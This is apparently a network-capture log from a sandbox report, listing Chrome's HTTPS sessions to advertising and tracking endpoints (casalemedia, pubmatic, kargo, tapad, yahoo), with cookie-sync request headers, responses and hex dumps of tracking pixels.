2024-01-10 23:27:29 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0df4dfc57e2-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:29 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:29 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=we3yXE3IrH92SzTXKuxub7c6CKAdan9fjI5AhGlox%2BpHjWH4N9fsX%2FhmsaQO41qEqs6a74ipxqyQyPaFtQqB3H250jtEprQ435HgaOC368pfQdcCFoiQvlwg9NU6vQH3gVD81pyFir3wRw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.4	50495	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	3868	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; PugT=1704929247; SPugT=1704929248
2024-01-10 23:27:29 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:29 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.4	50499	3.229.81.23	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	471	OUT	GET /api/v1/dsync/Martin?exid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ktcid=31dacb16-232a-0279-5a2f-9d40ea54e9b2
2024-01-10 23:27:29 UTC	456	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Set-Cookie: ktcid=31dacb16-232a-0279-5a2f-9d40ea54e9b2; Path=/; Domain=kargo.com; Expires=Thu, 09 Jan 2025 23:27:29 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.4	50483	34.111.113.62	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	583	OUT	GET /idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2C%2C HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=1!263
2024-01-10 23:27:29 UTC	1100	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1704929237034;Expires=Sun, 10 Mar 2024 23:27:29 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251;Expires=Sun, 10 Mar 2024 23:27:29 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!263;Expires=Sun, 10 Mar 2024 23:27:29 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:29 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.4	50478	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	518	OUT	GET /usermatchredir?s=184023&gdpr_consent=&gdpr=&gpp=&gpp_sid=&google_gid=CAESENB3vkDtn5oxWvBwA9gFXWc&google_cver=1 HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:29 UTC	985	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0dfbcc25767-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:29 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:29 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=u4nKEXr33hrjPlHyS7afjhcryyTl%2FfbGyAFumhty04c9GzYPGMVuc4ZcpJ4r4anOjnNV%2F2yY2p3qtKmOgWJk50Vl%2FN8QsZdgKF8%2FISqpgI56jOHNuHxDjvnRHywelD3sD8OGOKHe03lcNQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.4	50490	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1261	OUT	GET /cksync.php?cs=1&type=58259&ovsid=VEeMJ__OOM_smh2PNiGG&gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:29 UTC	663	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-ylm=VEeMJ__OOM_smh2PNiGG~~1;Expires=Mon, 08 Jul 2024 23:27:29 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:29 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.4	50497	34.204.228.255	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	4841	OUT	GET /mbcsc?bv=3.0.0&es=AQAAAEj1xGGzm8-291GIun6k2XVJNg-elQ3aLrjLZ4o23qjaS6J6P4siyGOLQBDKDjA9g2cWY0_-VwfvhdHBkbVD_N4bMdeO3cwF0iGS8uUxtGy1oHkKk37b21y8P18qngxgsvzmnev-yv9EyNw41oIE27Kr2QQ_yNRJYEZ5I-KSlTXeVZx4Ned69hUtsrYGE8Xi7xuUxrHUb6UuylkdQpYmGrTCEHIc3y9U7Zijk8aNl_x1OHM0vNng2ydpgnCbnKMwVhICuf1FVFEegXiBpraxO8KJ0vEi1XVN4uPrg6-JdsiXODv8xoF0R0QrMlWt8dkhT-xfWTpBPZ1QgicVr-uUVkLbfr7CfmPNqO-2fCSJKrtvc72gqmQQdJbbG7w5HKU_pLofgs0u_3andYEnuV7AzwOIpTVJ3w8ORpkNPIpKue1lJ2O3BNftPQopg0A1Zee-2Tp99vxdT2Mb6mKFd4EYAPSe-T4XbEGJjyzBmeLfTq6u5j7dMhoqIN5lTDGaHPDufkJLgVw00kJ5pOPVzYNGowxwID_9O-5cL0SciUW7m3fNtMmmcg5fJRkQipY-76tZ0yiWeOUdGcq0hCYhaggOGlUInnqucWswPHFtyHWITg4bZ-VBtuFZNA8YjKUzcUyFIL51UPGeMAa64n1UI_pjRJYUt2DdLDUn8qGtgfKSryW4DgUBAnO1BBuu8SKRjMxGj6ZX5nvWnpOb6FTl5j0-rB6xKQOBQ3JJX6I9Qde52CucB2-P80hcE_Mc5nUKhT9yycsunVx_XPbx-D3vfXfur1UPJ7VfOziCV3lYG58POa-7mYNp1zqFIH9VWvSJ6Cls84cSrRu60MiOAaGqgZZVSYSlPTWcjSoBwjMA76D4BaxhbP8-4ErN3aMndwv7_6JJbgtMRvr19B52Vo9eTbAYzaFInYnkkjYxO9SBTs_cul8imWeQfK_kTDAPik69n1N5CyHDAnZtxx6-TT5oJAivkS2qGOKu-sbPa5Wh34a7b97QMuecMxTByQU8WAoegqSjgNFeEpZThcbRfg0fDIWP1vc-hcG6hfN7lzFoPHyO4p2MEyNi20EfMmqUhB5rAepgMfny0ogpO_DZugFZZOnEut38m0yWpDSssAqRoPXM2YEToUjgrXBDUFVcp-RCsT10sF1DT8ibiWJ3qfwIcZCkmxvkN6hdgwy6UvEiVILbuwWK4B3BFo9gJilJ-VR5fe67PSGSXl0j8qfzTriUZbwoavYxgQjXWpDnXES90SgAlWQOV0ZP4O6OCeKcbchdq9tWLBquPF073D4rkBamzPHJbXH1vDNdUuo7HIv1N1Yxck7FA9lQUMFhFJyT93epdeltdCjL74KKRqOc3tSUYQ-hh5zqW84sUflidsENQepfOU07Wr6KLMlTjqcocCYEh7CYfvqrLV6J9zDhDsixyDpvhl66vksKULOpENvJQwVG0Esjrsb-HkZwuacyTUQ_ZqTm8hH8ZNUASD5Sy043kSx_eGeCjossdtaZBeX7_6FT9IfrG5LyBP3nL6uCacJFMtE1uQUvZA1BbVan-23OybD64vxmL-Ehdd1ima2cJltVTTlG6Sc6Z3WxFBmC-cRC_WZO4S_3nIAj8ilPUuGeBlo7jyodrY58lBY1fyzzF3nLYrXFiVmWiDEUx5tYm4VXDpbRbgF1gpShl1OHStB_oS-8AUtJQS-h6IlUQ7J8hqg8X7SKjfjTAAw6Ec1UMHtPx3fsMUAorDq0aaDasvtX-pEUlnpN_W19704HfzOFOO6tiec37SsG01cLuVbAwAon1EWO_hCDDrdr2Vm3AelLDrGAWpHUPuf2bBtmswfSISLm4t6aPNepI_iEjTiRA7aRXg58b5yxTnQHwbz8Cizm46NHGoJcHPTpnFq9Or4MWsLq4dd4e4kioP7tKGR31qdBfIXEn93vDxlg6XeXF5ohbBp_VhDLJQOHP3Ot9PBLj_BsWySPbxcabSejOmAUEmSUVEW6poDViRcBGnHo_bAu6NXgk10GQHLBWzSZluNa0VzgLJLrHrdzFMj_I9S1rktoECEPlMnpzmg6JOqqkAxOQcBauzOZNIr20I9EVyRSQ_4zbxYFSP1YLd8s3eZgdqQ_-NkBBUBJMmIi9vaISAVbRwJofcg4FpsG7lONuVd_i49OT40ju1FvVsTnY5Rb4I_BdcdCK2sH84kFn2GUpazej0gw0mz01qrcFWPcaIhtlG8xjT6dVk4CxWnaBKPGAjpYNkd0utZdVLWykPv7GOSKsuzA30FMXI9ZBDW9aoJ8mquK_mbJpU5fGp_eO0NGR9Lo3ge_1yw3wjemdSxkoLGxQNE8QKwQPjNaxH5yoRplPgAUv3SkGIotvfc3e9aqKUaQ7q-K8FO2OoIdvEbNlyAMK-cTPHomefNazcvTTPC8irtZqAhpvqx-UZiq_xy0Z4KXmZheJf9givKH0dGE280Wd37oY0ZIlyrruDLIaIrOrnXY6Ugt_tlaBqr0qJzzAS6PW_MvTikYXTGUkBC4wU4aPgEfCeVnvIr4qOrg-KornsNMOFitlvPHKJPwtX12B_QuNhnEyFompTcKWsM4543BkzmrSZStPc4QBuZqiCuRaxyLzcSuA_vVrpPz7PnIO1kNxPMoyRVRBqpWSjDvGrd4ow6nwxYde2TPpuQVXB_S62BVeykXpQcTNy2kKa_e-2VGnRY7WjexQv3GjMr8Halj_N2l8gWfYR8sLT0Xlzvc21ib--JohGgckIHACyAMDEKsyR9XMyj0JtEVvcgSdU8hccsg9cOpTKYMUS0e-gn-ZZ4NxtiqF4c3VS0v08rBcE-AaDLhr7km4v4XJTErDuJkEsnfhgi5hewN_X-u2896uGThyBNUzcmJhYDrKmZcmJDopVHucpSTSvZtXZpQ1RnfPXf9BuUC0JLLC9lPhUcpl4sW0847KQvYMvmpgFGGXRQzt_5p7QpAYyo-YRzHu-l3ETRa6fMRUKbizb9xslcSNWY0yz7n_62IitbCrddDamYUZZmkI2I2V7CfZHVzgUEV-kVRY7iEUASRyZnLQwCOpcjjgn069L5HWU54t3GhLkepw0ZOit267p7QTdKw7ftmzgR20t1hCDax7m_1CplKK3g7YeNxwWWlIXsjg-lfA4h1gM0RRY6GurZPqr8g35wC4eSKdDJQueYb1nnU2YxuykDE6nW8JgVoHN-92J5rmvdhuZJKvVGWwbOdbXAcO533kNFtVnTduDAEW4Hso_c600dc1AXJ8KXhRx89eo8he47rmU_N5jQcmtPzllYvn1Z0N46a6_BKMtlXzKahl4nRUm0V5IdHiyfAunENjZ2PnsPQvIVWHpGTSMtgIioGEmsFmZxJ5lBK3PiJJYzoBypcrsf1s9R3U6FEkheWoNFJ4RgHHiM9RhN0E4bUisS2AoBJPiVG41E30PkuaEC9o6W0Sjzs6WP6ZuWMGAX-HasSmnXvB6nPCQ6LDcmTemTlTwmyXvGwmJ5S_7ijp12bSj03UBMt0tJrECO6xGLqjoQVMIrsfDF2sUmjUQbg7I8RWWXRSWOkd9Ct1knGHbIE9Uk2n8Zatf4WtfQElrO7hy8WzkzoHrbKxucpyCypZsIoUS6IplNtnIdMql0U3ILymFzjE2X9BOujhxQYZucB-5CAuo4aX1G4wmgjBSXaM_AFrCjAgJWvnTPwfwbHx9XRig18l1YCOZJXupb1Y9YEioUx3LQd9cIQJ6SBRg3BnxGUZFRVSoMoPCNJlgHC44odIDKm2Wt1mNKQ&ap=pp%3Dm%2Cpi%3D1 HTTP/1.1 Host: a.beap.gemini.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:29 UTC	1097	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Length: 0 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Public-Key-Pins-Report-Only: max-age=2592000; pin-sha256="2fRAUXyxl4A1/XHrKNBmc8bTkzA7y4FB/GLJuNAzCqY="; pin-sha256="I/Lt/z7ekCWanjD0Cvj5EqXls2lOaThEA0H2Bg4BT/o="; pin-sha256="K87oWBWM9UZfyddvDfoxL+8lpNyoUB2ptGtn0fv6G2Q="; pin-sha256="Wd8xe/qfTwq3ylFNd3IpaqLHZbh2ZNCLluVzmeNkcpw="; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="cGuxAXyFXFkWm61cF4HPWX8S0srS9j0aSqN0k4AP+4A="; pin-sha256="dolnbtzEBnELx/9lOEQ22e6OZO/QNb6VSSX2XHA3E7A="; pin-sha256="i7WTqTvh0OioIruIfFR4kMPnBqrS2rdiVPl/s2uC/CY="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="uUwZgwDOxcBXrQcntwu+kYFpkiVkOaezL0WYEZ3anJc="; includeSubdomains; report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only" Expect-CT: max-age=31536000; report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.4	50486	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	484	OUT	GET /crum?cm_dsp_id=45&external_user_id=CAESEC-n6KJ8gvOU0fU3xp0t3Rk&google_cver=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
